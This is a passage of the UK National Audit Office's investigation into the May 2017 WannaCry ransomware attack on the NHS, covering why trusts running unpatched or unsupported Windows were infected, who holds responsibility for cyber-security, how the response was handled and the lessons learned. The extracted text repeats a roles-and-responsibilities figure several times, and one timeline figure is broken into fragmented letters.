By Tuesday 16 May, only two hospitals were still diverting patients: Lister Hospital in Hertfordshire and Broomfield Hospital in Essex.
NHS England stood down the incident on Friday 19 May.
1.14 The recovery was aided by the work of a cyber-security researcher who activated akill-switch so that WannaCry stopped locking devices.
The researcher triggered the kill-switch on the evening of Friday 12 May.
This meant that some NHS organisations were infected by the WannaCry malware, but because of the actions of the researcher they were not locked out of their devices and systems.
Between 15 May and mid-September, NHS Digital and NHS England identified a further 92 organisations, including 21 trusts, attempting to contact the WannaCry domain, in addition to the initial 45 organisations they had identified as being infected.
Although some of these trusts may have contacted the WannaCry domain as part of their cyber-security activity.
16 Part Two Investigation: WannaCry cyber attack and the NHS Part Two Why some parts of the NHS were affected 2.1 NHS organisations across England were affected by the WannaCry attack.
Figure3 sets out the location of the trusts affected and shows the: 37 trusts infected by the WannaCry malware and 44 trusts not infected by the malware but reporting disruption.
2.2 Of the 37 trusts infected, 32 were located in the North NHS region and the Midlands and East NHS region.
NHS England believes more organisations were infected in these regions because theywere hit early on 12 May before the WannaCry kill-switch was activated.
Failure to patch and update systems and reliance on old software 2.3 It is not possible to eliminate all cyber threats but organisations can prevent harm through good cyber-security.
Such practice includes maintaining up-to-date firewalls and anti-virus software, and applying patches (updates) in a timely manner.
NHS Englands view is that WannaCry infected some parts of the NHS mainly because organisations had failed to maintain good cyber-security practices.
2.4 NHS Digital told us that all the infected trusts had a common vulnerability in their Windows operating systems which was exploited by the WannaCry attack.
AllNHS organisations infected by WannaCry had unpatched, or unsupported, Windows operating systems.
However, whether organisations had patched their systems or not, taking action to manage their firewalls facing the internet would have guarded theorganisations against infection.
Investigation: WannaCry cyber attack and the NHS Part Two 17 Figure 3 shows Disruption to front-line services affected all parts of the country but was concentrated in the North NHS region and the Midlands and East NHS region Figure 3 Trusts affected by the cyber attack Disruption to front-line services affected all parts of the country but was concentrated in the North NHS region and the Midlands and East NHS region Note 1 NHS England believes the concentration of infected trusts in the North NHS region and the Midlands and East NHS region does not refl ect variations in cyber-security, but may be partially explained by these organisations becoming infected earlier in the day, before the WannaCry kill-switch was activated.
Source: National Audit Offi ce analysis of NHS England data Acute trust infected Other trust infected Acute trust affected, but not infected Other trust affected, but not infected 18 Part Two Investigation: WannaCry cyber attack and the NHS 2.5 NHS Digital told us that the majority of NHS devices infected were unpatched but on the supported Windows 7 operating system.
Trusts using Windows 7 could have protected themselves against WannaCry by applying a patch (or update) issued by Microsoft in March 2017, and NHS Digital had issued CareCERT alerts on 17 March and 28 April asking trusts to apply the patch.2 According to the Department of Health (the Department), more than 90 of devices in the NHS use the Windows 7 operating system.
2.6 A second issue was that some trusts were running the older Windows XP operating system on some devices.
This made the trusts vulnerable because Microsoft was no longer releasing patches for this operating system, and so they could not protect their systems from WannaCry unless they isolated those devices from the network.
Some trusts also experienced issues with some medical equipment, such as MRI scanners that have Windows XP embedded within them (see paragraph 1.3).
This equipment is generally managed by the system vendors and local trusts are not capable of applying updates themselves.
Support from the vendors of these devices was often poor according to NHS England and NHS Digital.
However, trusts running Windows XP on their medical equipment could have protected themselves by isolating these devices from the rest of the network (although this may necessitate manual workarounds).
InJuly2017, as part of its response to the National Data Guardian review, the Department told local bodies to ensure that they had moved away from, or were actively managing, unsupported software by April 2018.
2.7 The Department and Cabinet Office had written to trusts in 2014 offering some temporary help with security for old equipment until April 2015, after which time there would be no support.
This meant that it was essential that all NHS organisations had robust plans to migrate away from Windows XP.
Despite this, the Department told us about 5 of the NHS IT estate, including computers and medical equipment, was still using Windows XP on 12 May 2017.
This is partly explained by the fact that it is not always possible to remove or update Windows XP in applications and IT services based on that operating system.
Immediately after the WannaCry attack Microsoft issued a patch for Windows XP that would prevent WannaCry and similar ransomware.
Leadership and size of trusts 2.8 We found no clear relationship between those trusts infected by WannaCry and the quality of their leadership, as rated by the Care Quality Commission (CQC).
Of the 37 trusts infected by WannaCry, four (11) had been rated as inadequate against the well-led domain at their last CQC inspection, compared with 7 of NHS organisations not infected.3 However, CQC had not focused on how well led trusts were in relation to cyber-security in their inspections before 12 May 2017.
We understand CQC has plans to enhance its line of questions regarding information and digital systems as part of itsinspection of the leadership of trusts in the future.
2 A CareCERT alert is an email sent by NHS Digital providing information or requiring action from NHS organisations.
3 Of the 37 trusts infected by WannaCry, 36 had a CQC rating.
Investigation: WannaCry cyber attack and the NHS Part Two 19 2.9 We also found that infected trusts tended to employ more staff than average.
Ofthe 37 infected trusts: 14 (38) were among the 25 of trusts employing the most staff and 26 (70) employed more than the median number of staff.
Although there is limited evidence on why this should be the case, we found that: some of the trusts we spoke to told us that integrating IT systems when trusts merge (and become larger) and running many different versions of Windows operating systems, not all of which are supported, can be a challenge and WannaCry exploited weaknesses within parts of Microsofts Windows operating system used to share files within organisations.
This meant it spread automatically in some cases, and organisations with large Windows networks were among the worst affected.
Prepared for a cyber attack 2.10 Before 12 May, the Department and its arms-length bodies did not know whether trusts had complied with CareCERT alerts as no formal mechanism of assessment existed at that time.
On 12 May, NHS Digital worked with NHS England to put in place a formal mechanism for assessing whether NHS organisations had complied with CareCERT alerts.
Emergency, Preparedness, Resilience and Response (EPRR) teams requested a positive return from providers by midnight on 12 May that, for example where they had: not been subject to an attack, they had implemented the patch and been subject to an attack, they had implemented remedial works had been abletoroll back their systems and could continue to provide emergency servicesor  ifnot  had put mitigations in place.
2.11 Before the WannaCry attack, NHS Digital offered an on-site inspection to hospitals to assess their cyber-security (known as CareCERT Assure).
This inspection was voluntary.
By 12 May, NHS Digital had inspected 88 out of 236 trusts and none had passed.
NHS Digitals review of the WannaCry attack concluded that CareCERT advice and guidance (including inspections) was mostly followed by organisations with relatively mature cyber-security arrangements, while vulnerable trusts were not taking action to improve their security.
NHS Digital also found that, in general, trusts had not identified cyber-security as being a risk to patient outcomes, and had tended to overestimate their readiness to manage a cyber attack.
NHS Digital believes this reflects a lack of understanding of the nature of cyber risk among trusts, rather than a neglect ofcyber-security.
20 Part Two Investigation: WannaCry cyber attack and the NHS 2.12 The Department and its arms-length bodies did not hold information on how prepared local organisations were to respond to a cyber attack, such as whether cyber-security appeared on organisations risk registers or whether trusts complied with good practice.
The Department and its arms-length bodies also had limited central information on trusts IT and digital assets such as anti-virus software and IP addresses.
At the start of its investigation, the National Crime Agency had to gather evidence from all sites, including information on the devices affected, IP addresses and network traffic, to assess the impact of WannaCry on the NHS, rather than being able to access the information centrally.
Investigation: WannaCry cyber attack and the NHS Part Three 21 Part Three How the Department and the NHS responded Devolved responsibility for cyber-security 3.1 The Department of Health (the Department) has overall national responsibility for cyber-security resilience and responding to incidents in the health sector.
However, the Department devolves responsibility for managing cyber-security to local organisations NHS trusts, GPs, clinical commissioning groups and social care providers.
Regulators and other national bodies oversee and support local NHS organisations.
While NHS foundation trusts are directly accountable to Parliament for delivering healthcare services, they are held to account by the same regulators as NHS trusts.
Roles and responsibilities for cyber-security as at September 2017 are set out in Figure 4 on pages 22 and 23.
Inparticular: NHS Improvement holds trusts and NHS foundation trusts to account for deliveringvalue for money and the Care Quality Commission (CQC) regulates health and social care providers forsafety and quality of their services.
3.2 Both bodies can mandate local NHS organisations to improve their performance.
They also have a role in ensuring that local bodies have appropriate cyber-security arrangements, but neither are primarily concerned with cyber or information technology issues.
NHS Digital provides guidance, alerts and support to local organisations on cyber-security, and can visit organisations to evaluate cyber-security arrangements if asked to do so, as part of CareCERT Assure.4 However, NHS Digital cannot mandate alocal body to take remedial action even if it has concerns about the vulnerability of thatorganisation.
4 Prior to the WannaCry attack, NHS Digital offered an on-site inspection to hospitals to assess their cyber-security.
Thiswas known as CareCERT Assure and was voluntary.
NHS national bodies are currently revising this system.
22 Part Three Investigation: WannaCry cyber attack and the NHS Figure 4 Roles and responsibilities for cyber-security in the NHS as at September 2017 National and local bodies share responsibility for cyber-security in the health sector Department of Health Lead government Department and leads the health and care system, including overseeing cyber-security resilience and incident responses Manages the interface between health and social care with the Cabinet Office, other government departments and agencies During a cyber incident coordinates briefings to ministers and the National Data Guardian Coordinates involvement in central government responses to incidents Contributes to cross-government briefings when responding to a major incident, including when a COBRA response is called Coordinates public communications in agreement with other organisations Cabinet Office leads on (non-mandatory) policies and principles, although all departments and bodies are accountable and responsible for theirown cyber-security Key guidance is published by the National Cyber Security Centre, and it is supported by the National Crime Agency in leading the response to major cyber-security incidents in the UK, including criminalinvestigations Cabinet Office GCHQ National Cyber Security Centre National Crime Agency Home Office NHS Digital Works with local healthcare to understand and advise on their cyber-securityrequirements Communicates its role in managing cyber-security and incidents to other healthcareorganisations Maintains key IT systems used by healthcare organisations, such as N3 and SPINE Provides advice to the health and social care system about how to protect against, orrespond to, a cyberincident Provides advice and support to health organisations during a cyber incident, through CareCERT React Works to understand and respond to cyber incidents on national systems or onhealthcare IT networks Notifies and works with the National Cyber Security Centre to respond to cyber incidents Care Quality Commission Assesses and regulates thesafety ofpatientcare Assesses the adequacy of leadership including in ensuring data security Takes account of data security in reaching judgements on well-led organisations National Data Guardian Provides independent advice on data-sharing andsecurity Must be informed about all cyber-security incidents at the same time as ministers National Information Board Provides leadership across the health and care sector on IT, including setting annual commissioning priorities for NHS Digital and turning these into an agreed delivery plan NHS England Provides information about cyber-security tocommissioners Works with clinical commissioning groups (CCGs), commissioning support units and audit chairs at a leadership level to support board ownership of cyber-security andoverall response when cyber incidents occur Responsible for helping to embed cyber-security standards in the health sector, eg through the NHS Standard Contract and through the inclusion of requirements for services it commissions, such as IT forgeneral practioners Responsible for ensuring CCGs and providers (eg trusts) have appropriate plans in place to respond to an incident or emergency Lead organisation when major incident called.
Coordinates the control of an incident through its Emergency Preparedness, Resilience and Response (EPRR) structures where appropriate Communicates to the healthcare system about the practical and clinical steps to betaken in response to an incident when required Does this through digital teams at regional level.
These teams coordinate with NHSEnglands central cyber team and with NHS Digital NHS Improvement Communicates information about cyber-security to trusts andother healthcareproviders Works with trusts at a leadership level to support board ownership of cyber-security andoverall response to cyberincidents Works with senior healthcare leaders to ensure recommended actions for cyber resilience are implemented, and acts as an escalation point when cyberincidentsoccur Attains assurance that follow-up actions to increase resilience have been implemented by healthcare providers Considers data security during its oversight of trusts throughthe Single OversightFramework and as part of its decision-making on trusts who are inspecial measures Works with NHS England to communicate to the healthcare system during a cyber incident, in particular through the chiefinformation officer (CIO) for the health and care system (who works across NHS Improvement andNHSEngland) 209 clinical commissioning groups Responsible for following standards set by the Department and its arms-length bodies, for protecting the data they hold accordingto the Data Protection Act 1998, and for having arrangements in place to respond to an incident or emergency, under the CivilContingencies Act 2004 236 NHS trusts and NHS foundation trusts Responsible for following standards set by the Department and its arms-length bodies for protecting the data they hold according to the Data Protection Act 1998, and for having arrangements in place to respond to an incident or emergency, under the Civil Contingencies Act 2004 Source: National Audit Offi ce analysis of Department of Health and NHS England data Other government Health sector Figure 4 Roles and responsibilities for cyber-security in the NHS as at September 2017 National and local bodies share responsibility for cyber-security in the health sector Department of Health Lead government Department and leads the health and care system, including overseeing cyber-security resilience and incident responses Manages the interface between health and social care with the Cabinet Office, other government departments and agencies During a cyber incident coordinates briefings to ministers and the National Data Guardian Coordinates involvement in central government responses to incidents Contributes to cross-government briefings when responding to a major incident, including when a COBRA response is called Coordinates public communications in agreement with other organisations Cabinet Office leads on (non-mandatory) policies and principles, although all departments and bodies are accountable and responsible for theirown cyber-security Key guidance is published by the National Cyber Security Centre, and it is supported by the National Crime Agency in leading the response to major cyber-security incidents in the UK, including criminalinvestigations Cabinet Office GCHQ National Cyber Security Centre National Crime Agency Home Office NHS Digital Works with local healthcare to understand and advise on their cyber-securityrequirements Communicates its role in managing cyber-security and incidents to other healthcareorganisations Maintains key IT systems used by healthcare organisations, such as N3 and SPINE Provides advice to the health and social care system about how to protect against, orrespond to, a cyberincident Provides advice and support to health organisations during a cyber incident, through CareCERT React Works to understand and respond to cyber incidents on national systems or onhealthcare IT networks Notifies and works with the National Cyber Security Centre to respond to cyber incidents Care Quality Commission Assesses and regulates thesafety ofpatientcare Assesses the adequacy of leadership including in ensuring data security Takes account of data security in reaching judgements on well-led organisations National Data Guardian Provides independent advice on data-sharing andsecurity Must be informed about all cyber-security incidents at the same time as ministers National Information Board Provides leadership across the health and care sector on IT, including setting annual commissioning priorities for NHS Digital and turning these into an agreed delivery plan NHS England Provides information about cyber-security tocommissioners Works with clinical commissioning groups (CCGs), commissioning support units and audit chairs at a leadership level to support board ownership of cyber-security andoverall response when cyber incidents occur Responsible for helping to embed cyber-security standards in the health sector, eg through the NHS Standard Contract and through the inclusion of requirements for services it commissions, such as IT forgeneral practioners Responsible for ensuring CCGs and providers (eg trusts) have appropriate plans in place to respond to an incident or emergency Lead organisation when major incident called.
Coordinates the control of an incident through its Emergency Preparedness, Resilience and Response (EPRR) structures where appropriate Communicates to the healthcare system about the practical and clinical steps to betaken in response to an incident when required Does this through digital teams at regional level.
These teams coordinate with NHSEnglands central cyber team and with NHS Digital NHS Improvement Communicates information about cyber-security to trusts andother healthcareproviders Works with trusts at a leadership level to support board ownership of cyber-security andoverall response to cyberincidents Works with senior healthcare leaders to ensure recommended actions for cyber resilience are implemented, and acts as an escalation point when cyberincidentsoccur Attains assurance that follow-up actions to increase resilience have been implemented by healthcare providers Considers data security during its oversight of trusts throughthe Single OversightFramework and as part of its decision-making on trusts who are inspecial measures Works with NHS England to communicate to the healthcare system during a cyber incident, in particular through the chiefinformation officer (CIO) for the health and care system (who works across NHS Improvement andNHSEngland) 209 clinical commissioning groups Responsible for following standards set by the Department and its arms-length bodies, for protecting the data they hold accordingto the Data Protection Act 1998, and for having arrangements in place to respond to an incident or emergency, under the CivilContingencies Act 2004 236 NHS trusts and NHS foundation trusts Responsible for following standards set by the Department and its arms-length bodies for protecting the data they hold according to the Data Protection Act 1998, and for having arrangements in place to respond to an incident or emergency, under the Civil Contingencies Act 2004 Source: National Audit Offi ce analysis of Department of Health and NHS England data Other government Health sector Multiple intersecting linksMultiple intersecting links Investigation: WannaCry cyber attack and the NHS Part Three 23 Figure 4 Roles and responsibilities for cyber-security in the NHS as at September 2017 National and local bodies share responsibility for cyber-security in the health sector Department of Health Lead government Department and leads the health and care system, including overseeing cyber-security resilience and incident responses Manages the interface between health and social care with the Cabinet Office, other government departments and agencies During a cyber incident coordinates briefings to ministers and the National Data Guardian Coordinates involvement in central government responses to incidents Contributes to cross-government briefings when responding to a major incident, including when a COBRA response is called Coordinates public communications in agreement with other organisations Cabinet Office leads on (non-mandatory) policies and principles, although all departments and bodies are accountable and responsible for theirown cyber-security Key guidance is published by the National Cyber Security Centre, and it is supported by the National Crime Agency in leading the response to major cyber-security incidents in the UK, including criminalinvestigations Cabinet Office GCHQ National Cyber Security Centre National Crime Agency Home Office NHS Digital Works with local healthcare to understand and advise on their cyber-securityrequirements Communicates its role in managing cyber-security and incidents to other healthcareorganisations Maintains key IT systems used by healthcare organisations, such as N3 and SPINE Provides advice to the health and social care system about how to protect against, orrespond to, a cyberincident Provides advice and support to health organisations during a cyber incident, through CareCERT React Works to understand and respond to cyber incidents on national systems or onhealthcare IT networks Notifies and works with the National Cyber Security Centre to respond to cyber incidents Care Quality Commission Assesses and regulates thesafety ofpatientcare Assesses the adequacy of leadership including in ensuring data security Takes account of data security in reaching judgements on well-led organisations National Data Guardian Provides independent advice on data-sharing andsecurity Must be informed about all cyber-security incidents at the same time as ministers National Information Board Provides leadership across the health and care sector on IT, including setting annual commissioning priorities for NHS Digital and turning these into an agreed delivery plan NHS England Provides information about cyber-security tocommissioners Works with clinical commissioning groups (CCGs), commissioning support units and audit chairs at a leadership level to support board ownership of cyber-security andoverall response when cyber incidents occur Responsible for helping to embed cyber-security standards in the health sector, eg through the NHS Standard Contract and through the inclusion of requirements for services it commissions, such as IT forgeneral practioners Responsible for ensuring CCGs and providers (eg trusts) have appropriate plans in place to respond to an incident or emergency Lead organisation when major incident called.
Coordinates the control of an incident through its Emergency Preparedness, Resilience and Response (EPRR) structures where appropriate Communicates to the healthcare system about the practical and clinical steps to betaken in response to an incident when required Does this through digital teams at regional level.
These teams coordinate with NHSEnglands central cyber team and with NHS Digital NHS Improvement Communicates information about cyber-security to trusts andother healthcareproviders Works with trusts at a leadership level to support board ownership of cyber-security andoverall response to cyberincidents Works with senior healthcare leaders to ensure recommended actions for cyber resilience are implemented, and acts as an escalation point when cyberincidentsoccur Attains assurance that follow-up actions to increase resilience have been implemented by healthcare providers Considers data security during its oversight of trusts throughthe Single OversightFramework and as part of its decision-making on trusts who are inspecial measures Works with NHS England to communicate to the healthcare system during a cyber incident, in particular through the chiefinformation officer (CIO) for the health and care system (who works across NHS Improvement andNHSEngland) 209 clinical commissioning groups Responsible for following standards set by the Department and its arms-length bodies, for protecting the data they hold accordingto the Data Protection Act 1998, and for having arrangements in place to respond to an incident or emergency, under the CivilContingencies Act 2004 236 NHS trusts and NHS foundation trusts Responsible for following standards set by the Department and its arms-length bodies for protecting the data they hold according to the Data Protection Act 1998, and for having arrangements in place to respond to an incident or emergency, under the Civil Contingencies Act 2004 Source: National Audit Offi ce analysis of Department of Health and NHS England data Other government Health sector Figure 4 Roles and responsibilities for cyber-security in the NHS as at September 2017 National and local bodies share responsibility for cyber-security in the health sector Department of Health Lead government Department and leads the health and care system, including overseeing cyber-security resilience and incident responses Manages the interface between health and social care with the Cabinet Office, other government departments and agencies During a cyber incident coordinates briefings to ministers and the National Data Guardian Coordinates involvement in central government responses to incidents Contributes to cross-government briefings when responding to a major incident, including when a COBRA response is called Coordinates public communications in agreement with other organisations Cabinet Office leads on (non-mandatory) policies and principles, although all departments and bodies are accountable and responsible for theirown cyber-security Key guidance is published by the National Cyber Security Centre, and it is supported by the National Crime Agency in leading the response to major cyber-security incidents in the UK, including criminalinvestigations Cabinet Office GCHQ National Cyber Security Centre National Crime Agency Home Office NHS Digital Works with local healthcare to understand and advise on their cyber-securityrequirements Communicates its role in managing cyber-security and incidents to other healthcareorganisations Maintains key IT systems used by healthcare organisations, such as N3 and SPINE Provides advice to the health and social care system about how to protect against, orrespond to, a cyberincident Provides advice and support to health organisations during a cyber incident, through CareCERT React Works to understand and respond to cyber incidents on national systems or onhealthcare IT networks Notifies and works with the National Cyber Security Centre to respond to cyber incidents Care Quality Commission Assesses and regulates thesafety ofpatientcare Assesses the adequacy of leadership including in ensuring data security Takes account of data security in reaching judgements on well-led organisations National Data Guardian Provides independent advice on data-sharing andsecurity Must be informed about all cyber-security incidents at the same time as ministers National Information Board Provides leadership across the health and care sector on IT, including setting annual commissioning priorities for NHS Digital and turning these into an agreed delivery plan NHS England Provides information about cyber-security tocommissioners Works with clinical commissioning groups (CCGs), commissioning support units and audit chairs at a leadership level to support board ownership of cyber-security andoverall response when cyber incidents occur Responsible for helping to embed cyber-security standards in the health sector, eg through the NHS Standard Contract and through the inclusion of requirements for services it commissions, such as IT forgeneral practioners Responsible for ensuring CCGs and providers (eg trusts) have appropriate plans in place to respond to an incident or emergency Lead organisation when major incident called.
Coordinates the control of an incident through its Emergency Preparedness, Resilience and Response (EPRR) structures where appropriate Communicates to the healthcare system about the practical and clinical steps to betaken in response to an incident when required Does this through digital teams at regional level.
These teams coordinate with NHSEnglands central cyber team and with NHS Digital NHS Improvement Communicates information about cyber-security to trusts andother healthcareproviders Works with trusts at a leadership level to support board ownership of cyber-security andoverall response to cyberincidents Works with senior healthcare leaders to ensure recommended actions for cyber resilience are implemented, and acts as an escalation point when cyberincidentsoccur Attains assurance that follow-up actions to increase resilience have been implemented by healthcare providers Considers data security during its oversight of trusts throughthe Single OversightFramework and as part of its decision-making on trusts who are inspecial measures Works with NHS England to communicate to the healthcare system during a cyber incident, in particular through the chiefinformation officer (CIO) for the health and care system (who works across NHS Improvement andNHSEngland) 209 clinical commissioning groups Responsible for following standards set by the Department and its arms-length bodies, for protecting the data they hold accordingto the Data Protection Act 1998, and for having arrangements in place to respond to an incident or emergency, under the CivilContingencies Act 2004 236 NHS trusts and NHS foundation trusts Responsible for following standards set by the Department and its arms-length bodies for protecting the data they hold according to the Data Protection Act 1998, and for having arrangements in place to respond to an incident or emergency, under the Civil Contingencies Act 2004 Source: National Audit Offi ce analysis of Department of Health and NHS England data Other government Health sector Multiple intersecting linksMultiple intersecting links 24 Part Three Investigation: WannaCry cyber attack and the NHS How the cyber attack was managed 3.3 Before the WannaCry attack the Department had developed a plan for responding to a cyber attack, which included roles and responsibilities of national and local organisations.
However, the Department had not tested the plan at a local level.
This meant the NHS was not clear what actions it should take when affected by WannaCry, including how it should respond at a local level.
On 12 May 2017, NHS England determined that it should declare a national major incident and decided that it would lead the response, coordinating with NHS Digital and NHS Improvement.
NHS England treated the attack as a major operational incident through its existing Emergency Preparedness, Resilience and Response (EPRR) processes.
However, as NHS England had not rehearsed its response to a cyber attack it faced a number of challenges.
The cyber attack was less visible than other types of incident and not confined to local areas or regions in the way a major transport accident would have been, for example.
This meant that it took more time to determine the cause of the problem, the scale of the problem and the number of people and organisations affected.
3.4 Without clear guidelines on responding to a national cyber attack, organisations reported the attack to different sources including the local police, NHS England and NHS Digital.
For the same reason communications to patients and local organisations also came from a number of sources.
These included the National Cyber Security Centre, which was providing support to all UK organisations affected by the attack, NHSEngland and NHS Digital.
In addition, the use of email for communication was limited, although NHS Improvement did communicate with trusts chief executive officers by telephone.
Affected trusts shut down IT systems, including some trusts disconnecting from NHS email and the N3 network as a precautionary measure.5 The Department coordinated the response with the centre of government, briefing ministers, liaising withthe National Cyber Security Centre and National Crime Agency, and overseeing NHS Englands and NHS Digitals operational response.
3.5 Affected trusts were triaged through the EPRR route and, where necessary, received assistance from national bodies, including advice and physical technical support from NHS Digital, which sent 54 staff out to hospitals to provide direct support.
Staff at the Department, NHS England, NHS Improvement and NHS Digital, as well as large numbers of staff in other organisations across the NHS, worked through the weekend to resolve the problem and avoid further problems on Monday.
NHS Englands IT team did not have on-call arrangements in place, but staff came in voluntarily to help resolve the issue.
Front-line NHS staff adapted to communication challenges and shared information through personal mobile devices, including using the encrypted WhatsApp application.
NHS national bodies and trusts told us that this worked well on the day although is not an official communication channel.
5 N3 is the broadband network connecting all NHS sites in England.
Investigation: WannaCry cyber attack and the NHS Part Three 25 The risk of a cyber attack had been identified before WannaCry 3.6 The Secretary of State for Health asked the National Data Guardian and CQC to undertake reviews of data security.
These reports were published in July 2016 and warned the Department about the cyber threat and the need for the Department to respond to it.
They noted the threat of cyber attacks not only put patient information at risk of loss or compromise but also jeopardised access to critical patient record systems by clinicians.
They recommended that all health and care organisations needed to provide evidence that they were taking action to improve cyber-security, suchas throughthe Cyber Essentials scheme.6 3.7 Although WannaCry was the largest cyber-security incident to affect the NHS, individual NHS organisations had been victims of other attacks in recent years (Figure5overleaf).
WannaCry infected one of Englands biggest trusts, Barts Health NHS Trust.
This was the second cyber attack to affect the trust in six months.
Aransomware attack had also affected Northern Lincolnshire and Goole NHS Foundation Trust in October 2016, which had led to it cancelling 2,800 appointments.
Lessons learned 3.8 The NHS has accepted that there are lessons to learn from WannaCry and is already taking action.
The NHS has identified the need to improve the protection of services from future cyber attacks.
These include the need to: develop a response plan setting out what the NHS should do in the event of a cyber attack and establish the roles and responsibilities of local and national NHSbodies and the Department ensure organisations implement critical CareCERT alerts, including applying software patches and keeping anti-virus software up to date and identifying ensure essential communications are getting through during an incident whensystems are down and ensure that organisations, boards and their staff are taking the cyber threat seriously, understand the direct risks to front-line services and are working proactively to maximise their resilience and minimise the impact on patient care.
3.9 Following the WannaCry attack, NHS England and NHS Improvement wrote to every trust, clinical commissioning group and commissioning support unit asking boards to ensure that they had implemented all 39 CareCERT alerts issuedby NHS Digital between March and May 2017 and had taken essential action tosecure local firewalls.
6 Cyber Essentials is a government-designed cyber-security certification scheme that sets out a baseline of cyber-security and can be used by any organisation in any sector, see: www.cyberaware.gov.uk/cyberessentials/ 26 Part Three Investigation: WannaCry cyber attack and the NHS Fi g u re 5 C yb er a tt ac ks o n th e N H S in 2 01 6 an d 20 17 b ef or e 12 M ay 2 01 7 T h e N H S h ad e xp er ie n ce d a n u m b er o f cy b er a tt ac ks p ri o r to t h e W an n aC ry a tt ac k 20 16 20 17 S ou rc e: N at io na l A ud it O ffi ce 7 F eb ru ar y 20 17 IS IS -li nk ed ha ck er s di sp la y gr ap hi c im ag es o n N H S w eb si te s 12 M ay 2 01 7  G lo ba l W an na C ry at ta ck a ffe ct s th e N H S 20 16  R o ya l C o rn w al l H o sp it al s N H S T ru st h ad b ee n in fe ct ed b y a cy be r at ta ck o nc e be fo re 2 01 6, a nd w as th e su bj ec t o f m ul tip le , u ns uc ce ss fu l a tt ac ks d ur in g 20 16 28 F eb ru ar y 20 17  P riv at e fil es st ol en fr om L an d au er , w hi ch h as pe rs on al d et ai ls o f N H S s ta ff La nd au er w as e m pl oy ed b y th e N H S to m on ito r ra di at io n le ve ls a m on g st af f A t l ea st 2 00 0 cu rr en t a nd fo rm er s ta ff th ou gh t t o ha ve h ad d et ai ls c om pr om is ed 30 O ct o b er 2 01 6  Va ria nt o f G lo be 2 ra ns om w ar e at ta ck o n th e N o rt h er n L in co ln sh ir e an d G o o le N H S F o u n d at io n Tr u st P rin ce ss o f W al es H os pi ta l, S cu nt ho rp e G en er al H os pi ta l a nd G oo le a nd D is tr ic t H os pi ta l a ffe ct ed a s w el l a s U ni te d Li nc ol ns hi re H os pi ta l N H S T ru st d ue to sh ar ed IT a cc es s C an ce lle d ap po in tm en ts , o pe ra tio ns a nd d ia gn os tic pr oc ed ur es .
H ig h- ris k w om en in la bo ur h ad to b e tr an sf er re d to o th er h os pi ta ls Tr us t r es ol ve d th e is su e, li ai si ng w ith e xt er na l cy be r- se cu rit y co m pa ny a nd p ol ic e La st ed fo ur d ay s an d af fe ct ed m or e th an 2 ,8 00 p at ie nt s 13 J an u ar y 20 17  B ar ts H ea lt h N H S T ru st , o ne o f t he la rg es t t ru st s in th e N H S , s uf fe rs c yb er a tt ac k Th e R oy al L on do n, S t B ar th ol om ew s , W hi pp s C ro ss a nd N ew ha m h os pi ta ls w er e af fe ct ed .
S hu t d ow n fil e- sh ar in g sy st em to in ve st ig at e th e at ta ck In iti al ly r ep or te d to b e ra ns om w ar e bu t l at er c on cl ud ed b y th e tr us t t o be T ro ja n m al w ar e, w hi ch w as s uc ce ss fu lly c on ta in ed Fi gu re 5 s ho w s th at th e N H S h ad e xp er ie nc ed a n um b er c yb er a tt ac ks p rio r to th e W an na C ry a tt ac k Investigation: WannaCry cyber attack and the NHS Part Three 27 3.10 NHS England and NHS Improvement are talking to every major trauma centre and ambulance trust, and will reprioritise 21 million in capital funding from existing IT budgets to improve cyber-security in major trauma centres.
NHS Digital has built a new CareCERT Collect portal to provide assurance that trusts have implemented cyber alerts and to collect central data on IT and digital assets in the NHS.
Since 2015, the Department has made 50 million available to provide central support to the health and care system through the CareCERT suite of services.
3.11 Following the WannaCry attack, in July 2017 the Department published its responseto the National Data Guardian and CQC recommendations.
The response built on existingwork to strengthen cyber-security in the NHS, involving the Department and its arms-length bodies.
For example, NHS Digital was developing its existing services to support local organisations, including broadcasting alerts about cyber threats, providing a hotline for dealing with incidents, sharing best practice across the health system and carrying out on-site assessments to help protect against future cyber attacks and NHSEngland had embedded the 10 Data Security Standards, recommendedby the National Data Guardian, in the standard NHS contract for 2017-18, and was providing training to its Board and local teams to raise awareness of cyber threats.
The Department also told us that a revised version of the Information Governance Toolkit is being developed for use in 2018-19, and that the inspection framework used by the CQC willbeupdated to incorporate the data standards.7 7 The Information Governance Toolkit draws together the legal rules and central guidance issued by the Department ofHealth, and presents them in a single standard as a set of information governance requirements.
All health and socialcare providers, commissioners and suppliers are required to carry out self-assessments of their compliance against these requirements.
The Toolkit is commissioned by the Department and is maintained by NHS Digital.
Seewww.igt.hscic.gov.uk/ 28 Appendix One Investigation: WannaCry cyber attack and the NHS Appendix One Our investigative approach Scope 1 We conducted an investigation into the WannaCry cyber attack that affected theNHS in England on 12 May 2017.
We investigated: the WannaCry attacks impact on the NHS and its patients why some parts of the NHS were affected and how the Department, NHS national bodies (NHS England, NHS Digital and NHSImprovement) and other national bodies, such as the National Cyber SecurityCentre and National Crime Agency, responded to the incident.
Methods 2 In examining the issues in paragraph one, we drew on a variety of evidence sources.
3 We conducted semi-structured interviews with officials from: Department of Health NHS England NHS Digital NHS Improvement Care Quality Commission National Cyber Security Centre National Crime Agency Cabinet Office.
Investigation: WannaCry cyber attack and the NHS Appendix One 29 4 We visited four local trusts to examine their roles and responsibilities in relation to cyber-security the impact of WannaCry on the trust and its patients and how the trust responded to the incident: Barts Health NHS Trust Bedford Hospital NHS Trust Northern Lincolnshire and Goole NHS Foundation Trust and the Royal Marsden NHS Foundation Trust.
5 We reviewed documents relating to the WannaCry ransomware attack including documents setting out roles and responsibilities for cyber-security in the NHS and across the wider public sector.
We also reviewed published and unpublished research and reports relating to the NHS and WannaCry and cyber-security more generally.
6 We carried out analysis of data provided by NHS England, NHS Digital and the Care Quality Commission.
